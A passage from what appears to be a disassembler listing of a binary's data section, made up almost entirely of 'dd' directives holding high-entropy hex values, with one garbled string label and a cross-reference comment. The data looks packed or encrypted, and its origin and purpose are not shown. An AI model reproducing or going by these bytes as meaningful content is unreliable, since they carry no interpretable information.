0B44BCF80h dd 0AE5A0AF8h, 887E9402h, 0C28A54FCh, 6BE4CDC0h, 3AF1920h dd 1715C981h, 1BD95F8Eh, 0ED17819Bh, 73CE53D1h, 6E08C41h dd 0CF451FD8h, 0C2015F1Ah, 60E80171h, 0A3A62C91h, 0BDC0D03h dd 0AF2520AAh, 6806CA30h, 8C1C5FC9h, 16B423Eh, 159BF7BAh dd 287F2ED9h, 3F5BC452h, 6002FE12h, 77B00EB9h, 0BEF5FEC3h dd 0E54A2CA2h, 69065F77h, 791BC8A1h, 4AE3B957h, 0B34E7330h dd 5A32DEF6h, 55006A9Ch, 14019A68h, 905D5163h, 2216E507h dd 0AC58D94Ch, 2672320Ah, 1201A41Ah, 108899Dh, 5DB5412Fh dd 81BF20E9h, 89C0C68Dh, 0E92FB899h, 4B8F4A60h, 0E97C305Ah dd 7BB5D1C2h, 1264A699h, 0C1E5E841h, 19E569ECh, 0F14EF06Bh dd 0FC010FC9h, 6865479Bh, 6F9AFE2Dh, 4791D6F1h, 0B32C5452h dd 2A6DA6A5h, 4076FDD0h, 0C0B12C4Eh, 0EA4036B5h, 2DE94F3Ch dd 55D3BBA1h, 73C2811Eh, 0D50F106Eh, 4C574740h, 0EB4F15BCh dd 2C5CE00Bh, 4ED7FEF3h, 9BB7B48Ch, 542154B5h, 0B09FAC96h dd 84D8F609h, 112D9A6h, 5F2B445Fh, 0D15C7020h, 6D0970B8h dd 29401EE9h, 41628051h, 0F873776Ch, 0DCFD494Eh, 0E82A1312h dd 0D0C4C497h, 7DE0D0CDh, 0B547975Fh, 3EF16825h, 65BB8019h dd 61820B12h, 1EB2DA4h, 33745106h, 66674368h, 2FE00EDh dd 0E6816B66h, 6C271DEEh, 7D84BA51h, 8043E90Bh, 0A5860E14h dd 0F3315013h, 29850FA3h, 5C2DEAFAh, 8E493844h, 0EC417D89h dd 0C48A6A51h, 0CF8957C2h, 821008DFh, 1283C47h, 0C280C5B2h dd 12B5718Ch, 5B755D8Ch, 7CCC899Ah, 511379C6h, 50AD5954h dd 75817B1h, 5A305569h, 5A80B264h, 0A04F4A29h, 0FE41B4BEh dd 0F2D7624h, 31366044h, 0E00196BFh, 30FC68FEh, 7C24ECACh dd 0B28238F8h, 41E2D08Ch, 3C3CC203h, 1C977C9Fh, 921BE211h dd 0CAB1E513h, 0E9A93C2Ah, 8191D12Ah, 0C489749Fh, 681FD014h dd 99C7EB1h, 3D704160h, 556DC67h, 0C2536157h, 9E7DEB43h dd 2F989F41h, 902F52Dh, 0F8292154h, 29078905h, 9F5559B0h dd 91F2C57h, 0B59A754Bh, 414FEF10h, 5C805899h, 6168F9F7h dd 0AD09B148h, 5B2F77D0h, 3B19C74h, 805CB151h, 0C79C01C1h dd 0B1772525h, 4C906F04h, 509F3BEFh, 1695085Ah, 0AF0D1645h dd 4BE98C78h, 0F6C7F0C3h, 8C596ACEh, 0B51F64D9h, 0FBF0B5C6h dd 0CD9F45Eh, 185AE62Eh, 0EABFAE3Fh, 65C3131Dh, 893EB0FBh dd 52AA0261h, 0DFCAC288h, 0F8B19EC3h, 7BC3E553h, 0B22137F1h dd 412F2B2Eh, 1E86AF68h, 86F481EAh, 366ED7FAh, 6B00F2B4h dd 0AE685291h, 9EBDC519h, 0E4D4ECCDh, 60A86C82h, 5DE94120h dd 5F2C1B40h, 7E173C50h, 0A13CF8EDh, 313F4915h, 68A4E8E7h dd 6466E278h, 0B0E825DFh, 75724F5Eh, 0C243C6C2h, 7B9605D0h dd 173CC8B5h, 50B0137Dh, 5E278056h, 89002A8Eh, 0F2095FFEh dd 0B7C2E4E9h, 18ADEEFBh, 0B6DAE945h, 35E2F68h, 24BA21C5h dd 926C96ECh, 1A4BC001h, 136AE906h, 0ED2EBA24h, 0B7B8356Eh dd 0E9570B5Bh, 0FB7C283Dh, 1D85B23Bh, 1BF37D59h, 6BBC9ABFh dd 6B84F72Dh, 741EFCDEh, 0A35AF6FCh, 4E7834A2h, 0D8CA12EDh dd 0DA1DE364h, 60B08C62h, 486033F8h, 371F561Ah, 5109C030h dd 0F2D7CB9h, 0EFE9430Bh, 963AF4DAh, 1C1BD856h, 51360213h dd 0FDF1AF00h, 0B03A9537h, 2833709Eh, 3F8C21F3h, 2E3DD305h dd 4A98390h, 28BAED80h, 0B22EE8C7h, 4A5E13F4h, 16EB2A58h dd 4E1B8E9h, 7217C280h dd 0DFF7779Fh, 5CF44758h, 0DE2D078Ah, 0D7B9CAAEh, 455DC40Bh dd 0BA7FA782h, 136E79C4h, 3DEA1E21h, 568623DAh, 646A53D2h dd 778DF1A0h, 5502359Bh, 47C8B9BDh, 207D5039h, 0DABF598Ch dd 9A5E2A71h, 0A0D697E6h, 130AFF8Fh, 564E29B2h, 447D6881h dd 0C47D746Eh, 9FAD542Bh, 0A137AD02h, 4E42596Bh, 0E9856745h dd 5DBA6871h, 1E8FF9EBh, 0F08614FCh, 0C3004718h, 0DC035ADh dd 0BF51E368h, 0AAB510E6h, 805AD287h, 7D281C17h, 55D69D61h dd 0B8449481h, 0E9E42932h, 209B4C98h, 483480F5h, 6F60963Eh dd 1C9E3C8h, 20209A8Dh, 6609054Fh, 44D0305Bh, 0BA7730B0h dd 1558CE41h, 0C264220h, 36384982h, 34300458h, 1F919C1h dd 2517736Ch, 0CB7A5EF5h, 560DC5Dh, 18455CB8h, 46978804h dd 171A3500h, 2D001133h, 28E64E9Ch, 0B4568C68h, 185B60ECh dd 0E93B3BAFh, 0F6B77051h, 64BAE3E1h, 0E7A6FA84h, 0BDE8D412h dd 102ED44Dh, 4B586EF6h, 0E5C7A718h, 173FB3C1h, 9F2E7B67h dd 25539F2Dh, 72B92C38h, 8500665Eh, 39FD91E9h, 86945D25h dd 5896009Dh, 0A2096DD2h, 0D3B0FD99h, 0E725CF40h, 0DA5E43E1h dd 0E93268EBh, 65985EBEh, 4064D279h, 832EDF09h, 78C8410Eh dd 0F02DE986h, 85294E90h, 4BA70109h, 60604F53h, 3FC9F991h dd 24F68FDEh, 0BECA7D7h, 69EC34CBh, 1C60B9B0h, 7FBAEAF9h dd 62254E76h, 1472CB78h, 41FC3C40h, 0E887A45h, 2CCF5F89h dd 0E92DFBC3h, 0F67A0337h, 670479D2h, 0D98923E7h, 0EB020770h dd 0D39B1852h, 91F17F31h, 3E259263h, 0ED8BF7A7h, 6C7EF1B1h dd 8095325h, 1A2F8817h, 0F7F22BBCh, 0BA147024h, 0C19C25D1h dd 0FEE6C510h, 96D5FDE7h, 10345EECh, 0E4109EBDh, 80C03BA6h dd 0D0DDF607h, 5BF580EDh, 1639E6ECh, 6CFA35F4h, 57A1BFC5h dd 0AFD8548Bh, 968D23A0h, 0BC55123Fh, 705D2763h, 32E81C02h dd 0CD81808Bh, 6934372Bh, 15FCE90h, 38E9D5E0h, 0FA5AEAACh dd 0EC3ACF3Dh, 0CEE484B8h, 2DDB35Ah, 9739FEDh, 5790CAD8h dd 0FD223804h, 0EC12290Fh, 822610E7h, 0E0F75013h, 68045719h dd 915F9BE7h, 0B554D4FBh, 4DE27B76h, 0E647C5A4h, 4CD3055Ch dd 0C0EA5F92h, 0C8628281h, 0E2067476h, 6A7E2F07h, 0DBC10918h dd 0C1F7FF60h, 126A71CBh, 3F3DA574h, 4A5D1391h, 0A56002AFh dd 860555C2h, 73E9AA4Dh, 0BB3E7B0h, 3098B280h, 39403F09h dd 5180FB6Eh, 3259785Eh, 5D2CD51Ch, 0D79B31FFh, 95A6B9F8h dd 0F862C2F1h, 6282D4E3h, 5E04CA4Ah, 30806783h, 0CCEFA43h dd 2E278E71h, 8142565Fh, 0A2527DF5h, 26C57A2Fh, 97C9A4E4h dd 0EB010B8Eh, 30D82859h, 1D88F6CFh, 0D253878h, 0E606C987h dd 2DB67051h, 52F844FBh, 1F0B2F79h, 0EE19D9E9h, 491EF6C7h dd 79255194h, 0CE881B98h, 0F14B5173h, 48722181h, 5444AA04h dd 0AACA3707h, 0C0A94D7Bh, 0C248312Ch, 0B3654DB1h, 45070F2Ch dd 0D50AD11h, 0B8D377Ah, 0A5A2E926h, 8A4EB7DAh, 0CEBA4FC5h dd 0B785133Dh, 0E8E430BAh, 49005B2Dh, 25CCC981h, 9D511DBBh dd 90965771h, 4BB89952h, 412C2900h, 1FE78164h, 3BC41613h dd 2FD7EE02h, 0C6466011h, 0F73E197Bh, 0E0950C48h, 0E0BFF5FDh dd 1450475Bh, 6765D6E9h, 1DB3830h, 300281D0h, 30834E2h dd 238F9058h, 3DDB9507h, 3F033208h, 0CED30E19h, 0F7AC6A09h dd 36500D3h, 0E9735C39h, 33855B5Fh, 4A8CCABEh, 2DAB7E17h dd 824A2C41h, 0C0CE42ACh, 0A205F0F4h, 704F0307h, 688202EEh dd 693826D7h, 0BA46EFFh, 270F050Ch, 0E6EE00D7h, 2523AAF1h dd 0F442EDE9h, 2D2A4CDDh, 4E7CF655h, 0C5FDC2h, 0F181E1D1h dd 917EAB04h, 318131BBh, 0B99326C6h, 0D33D0BCAh, 0D7587D7Eh dd 0EFB994BFh, 8CD0CC6Bh, 7D27BB05h, 1180219Bh, 9883A40h dd 56A96875h, 9860B87Ch, 3841540Fh, 35804058h, 5F6963F9h dd 6FEED8F7h, 3CBA6D05h, 8CA88EE9h, 0E048E95Bh, 0D2B9C8E9h dd 0BD6D160Ah, 7276381Bh, 2AA8F84Bh, 0E2AC9E71h, 0ECD9E873h dd 99AAC8B5h, 96572DA9h, 843EBFD9h, 29B3AB96h, 56BE9C3h dd 4CC12502h, 74D81C37h, 0B15141ADh, 0F6B5CCA7h, 652C284Ch dd 8C83CD0Ch, 49C398ADh, 19B42C50h, 0F9DE16E7h, 9368B039h dd 5CB0A637h, 69647654h, 0BA39EA5Eh, 17489664h, 0BA644740h dd 0FBFE714h, 42B00F06h, 0C05EF231h, 9E012773h, 782E536Dh dd 0EB097757h, 9D5764F8h, 0BCBDB130h, 1560DF98h, 5F14C75Ch dd 0DB215C08h, 16D5F716h, 343CC0A5h, 793D8B50h, 7BEDAFE9h dd 44153DA6h, 0CC9E423Eh, 280AEFA1h, 0D0B0F377h, 0FA7B85B6h dd 4480D787h, 5397D7F7h, 50D9BB0Ah, 5D08FD4Eh, 1EBA01BDh dd 0E8D4DEA7h, 0E8BEB474h, 0B0F359DAh, 0E95D1718h, 4B79054Ch dd 387A57B0h, 0BE02AB01h, 21A4033h, 0B84760DDh, 0B7E7812h dd 2720E932h, 97BB2076h, 75AAD3C0h, 4B04EA81h, 0BE12C7CEh dd 5913E81Eh, 0C2FE3280h, 0A1F25C80h, 9BE8653Ch, 3D2F02B9h dd 207D34C9h, 2E7AE271h, 1F767696h, 0D24FDFF2h, 0EF600213h dd 47E03804h, 0D1C0D76Bh, 350FFAF3h, 834B1312h, 0E2AFCEBh dd 49A839FBh, 0CB0EF421h, 0EF003354h, 0DD8EF116h, 66AB20E9h dd 73C0682Dh, 0F009173Dh, 0F70CB984h, 7A462959h, 2D459ECAh dd 25F00576h, 0C4739D40h, 0D4ADBDh, 8FCB716h, 2C5B7AFEh dd 8F638D2Eh, 0FA32D909h, 12A6198Dh, 641C0041h, 0F9212FC8h dd 7941B1B0h, 0BA9A852Ah, 0DCB78B61h, 0DDB9FA60h, 52799357h dd 7221BA17h, 3100B3FDh, 23995BD8h, 274B6828h, 343F7A8Ah dd 7B384E0h, 0E9125575h, 0C6DDC7E0h, 30600DA8h, 0EEFD9C43h dd 9F250AB7h, 0A01BFC40h, 0FC5F5B08h, 543CE211h, 2B48E903h dd 8CBC5DD0h, 4839E1A0h, 9874AE4Dh, 3D8B4908h, 7B82D01h dd 0F0926BDAh, 8BC0E521h, 0BB7B4AEBh, 0B95D5F6Ah, 2DAF9679h dd 0A0E52851h, 0B41D82E9h, 195B9AFAh, 2E395F81h, 0E1F06E91h dd 6ED11ACBh, 0D5F470AFh, 9E2C4FA6h, 405D742Dh, 7A6A4349h dd 38BDAAA0h, 7865B225h, 0F781057Eh, 4DF13EBh, 9C634A4h dd 920EAE66h, 4E6E66F4h, 8630419Bh, 6169916Bh, 0E3092B41h dd 904CF555h, 0C3928BFCh, 2F2C798h, 0B216C430h, 3D96892Ah dd 39A5E9ABh, 1C604C5Ch, 13D9813h, 0F705585Fh, 301F036Bh dd 0D56051A3h, 20A4C64Dh, 0AF65CC4h, 0A848A127h, 0C975FE0Ch dd 8826F10Fh, 38B8EFCAh, 249D0534h, 94AF02Eh, 0F3592A41h dd 24848693h, 2782F6EFh, 9D1AF0BBh, 0E9E11D7Bh, 897C3969h dd 0EAF5A0F7h, 0FE4B766Bh, 0C84EDAACh, 1D787D86h, 4D09F398h dd 9A6FD368h, 61D90004h, 0B5658543h, 0CF007576h, 679C5B39h dd 0EE2A32E9h, 0BBF75A2Eh, 2BE5F141h, 0D6FE446Eh, 5A5F0B6Bh dd 0DCEC5AA1h, 795E62E8h, 9AEF7E64h, 5E2C2F1Ah, 0FB5D65F7h dd 0F8F72163h, 0E6351680h, 6CEA0950h, 18D89CE9h, 30FEBE1Ch dd 0D90A67D3h, 2302E446h, 7E0B9F4Eh, 4FBA02C5h, 765E310Eh dd 81D35625h, 0E843C6BDh, 0D8F46050h, 0FE325881h, 0FCF5F778h dd 0EBEB912Bh, 0BD55535Ah, 7EE711C0h, 6AC3B901h, 5CE9AF41h dd 8490DB29h, 34378984h, 8AB15884h, 73AEC6Bh, 544BABC1h dd 2C8BDFC9h, 0A772E775h, 0A0AA13FFh, 0B75EE868h, 72E2EBD9h dd 6EE7D5B1h, 3A0A532Ch, 50ADD756h, 2F5B64B2h, 9E288189h dd 925A3C80h, 42EDC54h, 1D236426h, 38223F83h, 1FAEE90Dh dd 3528821Ch, 6960567Ah, 0AA263251h, 77020338h, 0D0441E5Bh dd 0BEDFE0Dh, 6AEB4352h dd 0A4ACE5C8h, 1202D582h, 3B60C329h, 0D6063655h, 4A04E965h dd 0CD514E20h, 97866D5Eh, 90591BA4h, 0F2522D51h, 5D45B8D1h dd 5F056D9Ch, 92943766h, 0C6DFFAB1h, 3A729775h, 351523Fh dd 0FED1F686h, 0A36220C1h, 2B28BE54h, 0C77FA6Ah, 0CE5B630Ch dd 5E11FAFBh, 8610A49Fh, 6804FBBEh, 0ACA865ADh, 0E9E898F5h dd 0D1D7772Fh, 6E418598h, 1366B85Eh, 7E2BB45h, 33B4513Ch dd 6CECA0FFh, 0D425762Dh, 1427131Ah, 0FC00938Ah, 0C1395931h dd 0D9807EEh, 5A05470Eh, 697D603Ah, 30E92F92h, 354A2256h dd 0B30F6A57h, 9EC33161h, 0EACC8C12h, 0D399A450h, 25128ABEh dd 61C7D58h, 99F6874h, 209C734Fh, 0F4232F95h, 0BA356D23h dd 0AFBEE676h, 0D9EB7626h, 155FAF49h, 0A0D1AFE5h, 0A122C64h dd 85D88D0Ah, 0B3786D68h, 2C8B05EFh, 38B27F40h, 0CCDE291Dh dd 0C88DEEF3h, 0BCE92D4Bh, 62B84754h, 176A4F81h, 636AFF09h dd 0DF2542C0h, 496FD49Fh, 20316455h, 113AF8Dh, 0E2C58C5h dd 0CD3832E9h, 475EBA3h, 0A2BB5DF7h, 68590F07h, 0C76073EEh dd 9411C9E9h, 0F121E3B5h, 0C67C95EAh, 69EEE396h, 6AA83F5Eh dd 0EDC15CC1h, 0A1EF2003h, 276C1605h, 15D40DE9h, 799FFEDh dd 3256A51h, 67EC078Ch, 73EBEFFBh, 0A53E5264h, 804719EFh dd 0D20F87Ch, 0F471B5C6h, 72EE844Fh, 95C4B495h, 0EBB6E605h dd 0A9EC7565h, 4B77A9B7h, 5DB30AB6h, 2F942D68h, 96BF9C55h dd 0AD296A3Fh, 0E9C368D9h, 90EDD6EDh, 32B50226h, 0C031F580h dd 0CA5A60DDh, 5A609E43h, 1675797Dh, 2F26A1FAh, 0D72D0CF7h dd 3316A6DEh, 6E25D8AEh, 0E12AAE41h, 106B28D2h, 0AD5E8B04h dd 255C3431h, 0A85AD6BDh, 30EC0644h, 50C0A92h, 39242694h dd 4B91EE5Ah, 500F39Fh, 28324D77h, 822DA86Ch, 5D505E07h dd 2EB6DA4Ch, 0C5BDD38Dh, 821B02D8h, 0B5FBC5C0h, 3DBCB095h dd 62159E63h, 96795h, 0A02572AFh, 0DCBEC19h, 489E415Ah dd 364EC0Ch, 0C2A4635Fh, 7FFC09EBh, 380272B1h, 0F60BBE3Dh dd 0FDD98831h, 0FABB5300h, 3173547Bh, 0A84AD3F7h, 4B76E839h dd 68EBD105h, 45F927E0h, 37F61F82h, 2B8717D3h, 0C21BAA3Ah dd 0B845D2Eh, 4B748064h, 0C6503CE9h, 2A060539h, 1B8151Fh dd 99E9120Bh, 0AEAE90F9h, 31FA2CE7h, 91026CB5h, 65AE08B5h dd 0E458510Eh, 32EB66BFh, 76F8EE15h, 4BD9519Fh, 0ED205144h dd 0B640BF33h, 7C832587h, 0B56FB24Eh, 43C2B379h, 0F2EC4CADh dd 9227BF93h, 5C83A6D0h, 0EC2EAF41h, 41FAF5BCh, 7D685303h dd 50527350h, 4D4CAB9Dh, 0E5810545h, 4AE6E04h, 1636E817h dd 84169EF9h, 40718C06h, 774689B5h, 581596CDh, 0E1E90948h dd 0B99ED5B9h, 56314DBAh, 9F782F09h, 7002D639h, 2175051Eh dd 0A856A075h, 0F21090ADh, 3E925D3h, 16689307h, 832C4155h dd 96FD6C8h, 2981A326h, 0EA7C07CAh, 276F08CCh, 0E689101h dd 633B996Dh, 0F82B59A9h, 778D0684h, 90C78DDh, 362C1740h dd 0EE16EC73h, 0AD4FB5A6h, 0AC5FC464h, 0C4BB5900h, 0AE497650h dd 2FAA645Ch, 0E8C10DECh, 8B20B23Fh, 77793C6Eh, 23EDAA82h dd 65658E5Eh, 0E3EAA0D5h, 0A4D78049h, 53177ECh, 578958C2h dd 73E3BF20h, 0B5A6B8D3h, 0E9090FA3h, 1E776E42h, 83D24C43h dd 0B75EB8Bh, 0F8A7FC75h, 1B522968h, 0D7C61068h, 1E10BB00h dd 0EBC15486h, 903DE19Dh, 0E90240C2h, 34214A37h, 7D57AFF2h dd 20F539EAh, 80405745h, 32C27701h, 8819C19h, 0CCB98957h dd 2DE92C1Fh, 636AAF78h, 0DC1E0774h, 16A8E116h, 0EEFF5C89h dd 5EF7B75h, 1764F0Eh, 8C211D7h, 0BCE9C709h, 0F9DF34C2h dd 5F04CB7Ch, 48BD00EFh, 0B5506F38h, 0A1F7EE89h, 581D7C6Ch dd 4303A81h, 704D412Ah, 14C20207h, 8EEA7014h, 95D62EEh dd 0AEF177D6h, 0E953DE40h, 1695BC69h, 7E2FA209h, 75C8285Fh dd 0BF9FA053h, 2FDF8297h, 68AF3F4Eh, 0E01EF2E6h, 0F8A2A29Ah dd 0C0A03798h, 0CA12601Dh, 22B0C96Bh, 649DC0Bh, 0A0FFFE20h dd 0B4594B08h, 3612E484h, 0CAFA6CB2h, 30EB4B01h, 5D2EC314h dd 5E97B473h, 9708201Bh, 992CC4E5h, 84DE4A49h, 310A5D20h dd 0A1582592h, 0CDF01198h, 0F6C2E82Fh, 71B48902h, 9F73B6DDh dd 0BAC05096h, 676EC468h, 795E4C26h, 0CF31AC30h, 6D3B7756h dd 54F70C0Fh, 4A010C7Fh, 7834EBFBh, 64982CAEh, 0FE13B44h dd 7577463Ch, 0A8905964h, 448CA290h, 5AD01CABh, 5CD6648h dd 81BF47DCh, 483DB58Bh, 967C45A4h, 0F4CB2971h, 4B1AF751h dd 0E92CC85Dh, 0E0D170F4h, 776EEF33h, 0AABDF4EAh, 0F8C016B4h dd 0CE3CC00Dh, 20685559h, 4F3C0C13h, 89BE1EBAh, 0A3818F44h dd 0ED6043E5h, 75C203Fh, 71542602h, 650B7BE9h, 42A124A2h dd 0B471A9BEh, 499768C7h, 15F43A0h, 30D1BFFAh, 20019EC5h dd 0D85362C7h, 1D50AAA7h, 1C4F0883h, 992DC2E5h, 5EC1C210h dd 0F7EF30FAh, 0E12768F1h, 6994EE0Fh, 0A3D3696Ah, 2EE947CCh dd 4053DD35h, 31826DF9h, 717679B0h, 927B1F2Eh, 303BDA2Ch dd 45EB57F4h, 4DA20C0Ah, 0CB2C4B43h, 2A144979h, 2ECDBF7h dd 927208B4h, 0E7DF0B01h, 0E8C180B0h, 68C8310Eh, 0D62B2826h dd 88CC5264h, 0D05B4E6Dh, 574FEA5Dh, 0FF966525h, 6F75D18Bh dd 0F5E90428h, 1CE9F306h, 6DDF493Ch, 7AEA1A4Bh, 0D01F2079h dd 2B399B90h, 0C7072E14h, 99093429h, 0BDD6CE36h, 0FF0950ECh dd 5E0E8879h, 6EC3012Bh, 3A66DA1Ah, 9723A700h, 50F32127h dd 13B59A5Eh, 0F0537429h, 0AAE2E960h, 27B160C0h, 764BC180h dd 31A47D51h, 68A6B99Fh, 2EA37F98h, 8528AF5Ah, 0D5E92F5Dh dd 0F1024DD2h, 608F1696h, 0A570F751h, 0B445E912h, 514889F2h dd 14BB2D80h, 88951D30h, 2225079Eh, 5655A48h, 7F1F8B58h dd 0F18AFF27h, 13D5828Eh, 8E095154h, 7FDD670Eh, 45C00944h dd 5A7620FFh, 5A9F437h, 6A13D8FBh, 102D104Ch, 350132A6h dd 0FEE3FE3h, 99F83E09h, 0AB20C017h, 9AF18305h, 0A87856FBh dd 65DF0665h, 0EA0C694Dh, 1D8D0B10h, 6CD10FE9h, 81C96A08h dd 0B422DC6h, 57F42F39h, 0DB6603A0h, 0C3EAE930h, 35D05B01h dd 223E36FFh, 2FFB15D4h, 6550D54Dh, 201DD097h, 0BF041D95h dd 31AD3E7Ah, 5E66F582h, 7F1A6392h, 7CE2EB84h, 15EF4CC4h dd 0BF570429h, 88855E8Ch, 0E877C900h, 4EE913F2h, 251A1603h dd 8264E3F5h, 0FFEFD7E9h, 0CEBF1D96h, 0B95C4EDFh, 69F7923Bh dd 83CAEFD3h, 42021C2Dh, 0D0036B96h, 0A998B9E7h, 0EF175F29h dd 0D618AB56h, 125AD57Bh, 2DDF745h, 0FF4A7620h, 0C827ABE0h dd 0C004BD83h, 7993A709h, 0B7CD95C4h, 0D41BE103h, 0E0DEC10Dh dd 0E897F3D6h, 2D5B4895h, 0AF850E22h, 0EF09B055h, 2A522513h dd 7A8201Dh, 1E91D698h, 0AD50E91Dh, 78D15C2Dh, 0B5255F04h dd 1302C4BFh, 0E94D20CCh, 6B95697Ch, 0EE5DB973h, 5214E155h dd 0FE38F7h, 0F6815926h, 3B6A4F9Bh, 0CE834602h, 293E5272h dd 7D181A04h, 8AC07E3Ch, 975D93E9h, 96BCF3F9h, 64F2F484h dd 4E3B5978h, 2EC5830h, 314B1125h, 86E90BDh, 0BDEF6EA5h dd 80BA0234h, 8F8837EAh, 0CC67E4BBh, 5F4F4AAh, 0AE91CCB5h dd 80B64E4Bh, 0AEEE8052h, 18B8686Bh, 0A1F18847h, 4CF6E7C6h dd 7648B808h, 28AA097Bh, 94C0E2C1h, 0EA164977h, 0CEB44253h dd 756E17D4h, 0A0D91221h, 0FA2D292Eh, 7AFD745Fh, 0A5FC8A10h dd 6232ED6h, 0F4BFD4C1h, 16623C8Eh, 5EAA6890h, 576A787h dd 4DC7D749h, 3C16805h dd 48565AAh, 8AA0E85Bh, 0CB522477h, 0FB059E02h, 0F4C1D039h dd 7EFE0568h, 0EF5A16B1h, 849B6200h, 9F51D0B5h, 59CB2660h dd 9A254BB5h, 206A5AD9h, 2CFC9C79h, 0AE0FF4Fh, 0E8203B1Dh dd 5452590Fh, 0B19BFFB2h, 0B53CE90Eh, 8BBB16h, 0ABA1C55Ah dd 0F19345E6h, 0F7AA0434h, 0EC307D47h, 4FED778Fh, 0CDC247Ah dd 0ACC5016Bh, 82167B56h, 5C58240Ch, 0A6F05F4Ch, 0C400883h dd 3A4F6814h, 0DAB231ABh, 5F5501F3h, 5DF8097Ah, 774E095Fh dd 3B58CDC9h, 0E90B25CFh, 5EF1B88Bh, 0B1288881h, 44808170h dd 521E0D45h, 691F3EBAh, 0E2006867h, 66BC46D6h, 95FCECE9h dd 94B61FCh, 35D71042h, 95479F98h, 269CF525h, 4AAC2920h dd 8165125Dh, 0A17B5Dh, 73F79658h, 509217D6h, 505F8A52h dd 0ED7089CFh, 58C25C9Dh, 5E275C84h, 91AC5F0Bh, 0BD5E6E32h dd 11267CAh, 0EDCCABD0h, 43B50B2Dh aAqGRodzk?dvpdO db 'AQпу┐',7,'Ю▌dZK?└V╞╓пo',0 ; DATA XREF: ___:off_42DE44o db 55h dd 0E1810EB8h, 5C882FCFh, 4B1D273Dh, 0FE0C9705h, 72EC0213h dd 906CB4Bh, 276AAE68h, 0FF17A422h, 60070318h, 0C2D9624Dh dd 155A3FB6h, 2F40677Eh, 83C2195Eh, 0E9F175E1h, 20CB0308h dd 1DB906B6h, 0A637D836h, 0BB0D016Ah, 1015132Ch, 5DC98BD6h dd 3507F2C4h, 645E56A3h, 0FCD450D4h, 0F53E4EFCh, 17081D24h dd 0D8BFB581h, 5727F36Bh, 965578AFh, 34742F7Dh, 3696C580h dd 5FE93DEAh, 0BE110126h, 6B6F397Ch, 400E0EBCh, 0E9E25B5Dh dd 44A0592Fh, 0D6E005BBh, 0D2EB6A7Dh, 0F3FE5904h, 0C6D8C491h dd 0BE1521Fh, 7CC29C99h, 0BFA6CE7Dh, 0BEB54DC0h, 64E72FCBh dd 3533302Ah, 95B58F1h, 25BDC75Ch, 4F8A46C2h, 574BF0F8h dd 0CE706597h, 36061090h, 0BFACEC79h, 0E839C489h, 16D1688Ah dd 54C95C88h, 7CAE9D45h, 7BB65F69h, 0B1671989h, 5A644229h dd 2F4D7F2Ch, 0E4668ACFh, 7117DA27h, 0BE6C4B6Eh, 5322D695h dd 4260C427h, 6F0E718Bh, 6A99E4h, 0AD6F432Dh, 0E801346Dh dd 43081F5Ch, 5F5A762Bh, 7056628h, 0E95D5E05h, 93E4731Fh dd 6EB84135h, 8EF8C3F1h, 81419EA4h, 38954417h, 8E062F89h dd 6F1CCB48h, 554F995Bh, 88D19E65h, 93A19DDDh, 0D7290259h dd 0FDDC8242h, 29AE4BBAh, 146B3D55h, 0CC9F5396h, 7EB6CE55h dd 897B0261h, 0E8315EF5h, 688441D9h, 31EA0B99h, 6E7A6D7Fh dd 0CA533823h, 5FA07787h, 740D0EF6h, 4C0C80E5h, 316DF321h dd 77E924F0h, 935E9D6Eh, 17EDBCC0h, 0E1BC348Bh, 8954E9B4h dd 0F105556Ch, 0ACE3EF87h, 0C0994493h, 996218F1h, 0D9F68035h dd 0CA575FFAh, 10F74621h, 68091FDEh, 0D1ED7271h, 0FBE0E905h dd 0C61D8CBAh, 813EB341h, 3CCB9027h, 1C39A19Fh, 2B469D3Ah dd 0A8FC6C52h, 0A1BAA077h, 2B6A3532h, 0F84BFA1Dh, 6112F929h dd 9143E9h, 16E32D5Dh, 5056A103h, 5F090706h, 0D5A036E9h dd 313511B8h, 0AD045573h, 8945DA6Eh, 0ACF712BBh, 3CAA4F8Bh dd 0D8AADE57h, 0F09AD2DDh, 49D22536h, 0E904F456h, 31FF16DDh dd 1E0B0F7h, 0C0CAE188h, 0EED7F62Ch, 805B02FCh, 0DE9BCF4h dd 550B89F7h, 0E98445EFh, 3EC8D6B9h, 0D2A4EDE3h, 0B35D09B8h dd 0BD00B464h, 5B3A0E87h, 44EF581h, 0E9766A01h, 2FDFAC7Ch dd 0B5945554h, 1345B91Ch, 86AD4B7Fh, 5FC03939h, 4FC5195h dd 6125974h, 4E74A3C4h, 2AD91D66h, 0C5025BD8h, 4AB3FA8Eh dd 0FCF7578Fh, 27E938F0h, 563CB9DFh, 30027DFCh, 0F6A876E4h dd 11D3DCAh, 4F57E978h, 284F8ADh, 9764AE61h, 66E9E0EEh dd 8E16604Ch, 8FE66505h, 0D89A1CFAh, 0E9361079h, 6E80415Bh dd 975BDA31h, 1017361h, 493E5E57h, 2CD07074h, 77F9474Eh dd 1A9B257Ah, 0BBF03348h, 180BC0ACh, 8920947Fh, 37AD440Ch dd 0A1AD38D3h, 0E9CA2AA5h, 0C18A2440h, 6CE0EB4Ah, 9F781686h dd 1435BC14h, 0CD3BB0h, 0CE9763B8h, 6D82965h, 18E72D5Bh dd 0B5249E1Eh, 0C5AE3392h, 0BBE9C3Ch, 7269D62Dh, 0D01E3A61h dd 0B57259h, 0DC09BEDCh, 2025B0B4h, 0BA01C232h, 428A274Bh dd 813AE2D1h, 80B42248h, 2CF0BBE6h, 24684833h, 0C4796F29h dd 81BDFCB9h, 3EC80CC9h, 82C3F7ECh, 0C8B65E58h, 17F0EB92h dd 0C083D05h, 0F0645E35h, 94B35BB7h, 26447849h, 58319B51h dd 282D564h, 445FF9E2h, 0C31E55DDh, 0B8EBC3Eh, 45D13004h dd 64D969B1h, 0F1D74B09h, 0D1FAAD0Dh, 37EE1936h, 6BF41D84h dd 14A46C02h, 582D07F2h, 0B4097E54h, 2D14D568h, 0D424EF7Bh dd 0EB125A4Ch, 4B839AABh, 530B0A04h, 368959ACh, 0AA818AE2h dd 6E1B184Dh, 0F3078FC1h, 0A0D26602h, 3FEF5DEAh, 5022603h dd 4C1C3603h, 6C43180Eh, 7EEA0740h, 8179B545h, 200CCE8h dd 0E97E544Fh, 0ACC758DCh, 1D5E9D7h, 7C685251h, 5AE99F18h dd 60EA348Fh, 298121A9h, 78301C36h, 2CBE05E3h, 0C0C076E5h dd 606A65B4h, 4EAE0C6Fh, 52020ED7h, 0E7C6DFBAh, 7BC27FEAh dd 0E488B2E4h, 7220E957h, 98DDF082h, 0B910B5B0h, 0B82F2E2Fh dd 4BB3F012h, 0BB18C481h, 905DDD8h, 2B0954F1h, 0BC097554h dd 0B31A75B4h, 4FF24C77h, 0FBA2C593h, 292EC58Bh, 48F8AF4Fh dd 